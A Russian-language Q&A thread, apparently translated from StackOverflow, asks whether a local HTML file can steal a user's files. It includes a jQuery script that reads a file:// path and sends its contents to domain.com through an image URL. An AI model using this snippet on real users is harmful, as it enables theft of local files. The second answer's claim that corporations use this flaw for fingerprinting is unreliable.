Подтвердить что ты не робот

Украсть пользовательские данные, запустив html файл

Расскажите о безопасности. Мне кажется, теоретически, я могу получить информацию из файловой системы пользователя с некоторым script, если пользователь открывает файл html с ним (открывается из его файловой системы, а не из сети). Посмотрите на код:

info.txt:

my info

index.html

<!doctype html>

<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
    <script>
      $(document).ready(function () {
        $.get('file:///home/daz/desktop/info.txt', function (data) {
          $('<img>').attr('src', 'http://domain.com?data=' + escape(data)).appendTo('body');
        }, 'text');
      });
    </script>
  </head>    
  <body></body>
</html>

Некоторые браузеры (например, firefox) позволяют получать файлы с file:// через XmlHttpRequest, поэтому, если я догадываюсь о пути к файлу, я могу получить его содержимое с помощью ajax. И затем я могу динамически добавить тег img с src, ведущий к моему домену с параметрами строки запроса. И браузер делает запрос послушно GET ?data=my%20info%0A domain.com. И на стороне сервера я могу разобрать строку запроса и получить данные.

Правильно ли я могу это сделать? Правильно ли я могу получить данные пользователя со своего компьютера, если он откроет мой html файл? Поэтому я могу просто сказать: "Привет, друг, проверьте этот файл!" (с двумя ограничениями: пользователь должен использовать firefox или что-то еще с аналогичной конфигурацией, и я не могу получить файлы, к которым пользователь не может получить доступ из-за прав доступа).

ОБНОВЛЕНО:

Если это возможно, то почему это возможно? Почему они позволяют вам делать такие вещи. Почему нет диалоговых окон подтверждения или чего-то еще.

ОБНОВЛЕНО 2:

Будет здорово, если кто-нибудь сделает обзор этой проблемы. Спасибо заранее!

4b9b3361

Ответ 1

Это менее возможно, чем вы думаете. Различные браузеры внедрили различные ограничения на то, что могут делать локальные файлы HTML, как описано в этой статье командой разработчиков Chromium:

http://blog.chromium.org/2008/12/security-in-depth-local-web-pages.html

В частности:

  • Internet Explorer отключает Javascript в локальных файлах HTML по умолчанию.
  • Opera устанавливает некоторые ограничения на междоменный доступ из локальных файлов.
  • Firefox применяет ограничения подкаталога для доступа к локальному файлу

(Обратите внимание, что этот пост с 2008 года, браузеры, особенно Chrome, могут значительно измениться с тех пор.)

Ответ 2

Просто обновление: корпорации используют этот эксплойт для кражи информации миллионов пользователей, отслеживая их без их ведома и без использования файлов cookie. http://en.wikipedia.org/wiki/Device_fingerprint

Похоже, что этот недостаток был умышленно оставлен в их просто так, чтобы пользователи могли эксплуатироваться.